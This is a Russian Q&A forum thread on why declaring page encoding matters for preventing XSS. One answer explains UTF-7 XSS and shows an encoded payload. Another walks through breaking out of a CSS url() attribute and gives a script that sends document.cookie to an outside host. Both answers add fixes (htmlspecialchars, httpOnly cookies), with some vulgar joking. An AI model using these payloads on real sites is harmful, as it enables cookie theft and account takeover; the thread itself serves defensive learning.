Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

Здравствуйте. Я прочитал статью на хабре по защите сайта на PHP от XSS: https://habr.com/company/pentestit/blog/211494/ .
Третий пункт этой статьи гласит так:
3. Указывайте кодировку на каждой веб-странице.

У меня возник вопрос - для чего это? Если все равно злоумышленник может изменить заголовки при отправке своего XSS на сервер.

Не могу понять вообще, как работает XSS с изменением кодировки. Что хотел сказать автор этой фразой?
В случае если тег расположен до тега и заполняется пользовательскими данными
  • Вопрос задан
  • 1706 просмотров
Решения вопроса 1
@Mercury13
Программист на «си с крестами» и не только
Совет несколько устаревший, и вот он для чего.
Есть откровенно странная кодировка под названием UTF-7, которую по-чёрному использовали для XSS. Например:
+ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4-


Задачей хакера было заставить браузер верить, что текст в UTF-7, прежде чем в HTML’е придёт маркер кодировки.
IE11 поддерживал UTF-7, поддерживает ли Edge — не в курсе. Остальные браузеры отказались лет десять назад.

Подробнее:
https://nedbatchelder.com/blog/200704/xss_with_utf...

Ну и будет просто некрасиво, если пользовательские данные появляются до маркера кодировки и браузер эту самую кодировку неверно опознал. Но хоть XSS не будет ни в одной кодировке, основанной на ASCII.
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
@JunDevTest
Контакты: thejundev@gmail.com | @juniordev
XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

3. Указывайте кодировку на каждой веб-странице.

Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

В случае если тег расположен до тега и заполняется пользовательскими данными

Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
Таким образом, код на странице пользователя, выглядит как-то так:
<body style="background: #282b31 url($user_background) 50% 0 repeat;">
...
</body>

Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
<body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
...
</body>

Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
<script>alert('Мамку админа ипал!!111');</script>
В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
На этом этапе строчка будет выглядеть как-то так:
http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
Они к слову, бывают нескольких видов. Активные и пассивные.
Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

Что тут происходит?!
Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

Что ещё?
Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
<script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

Как фиксить?
Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
header( "Set-Cookie: name=value; httpOnly" );
или так
setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
Удачи вам, в познании XSS.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы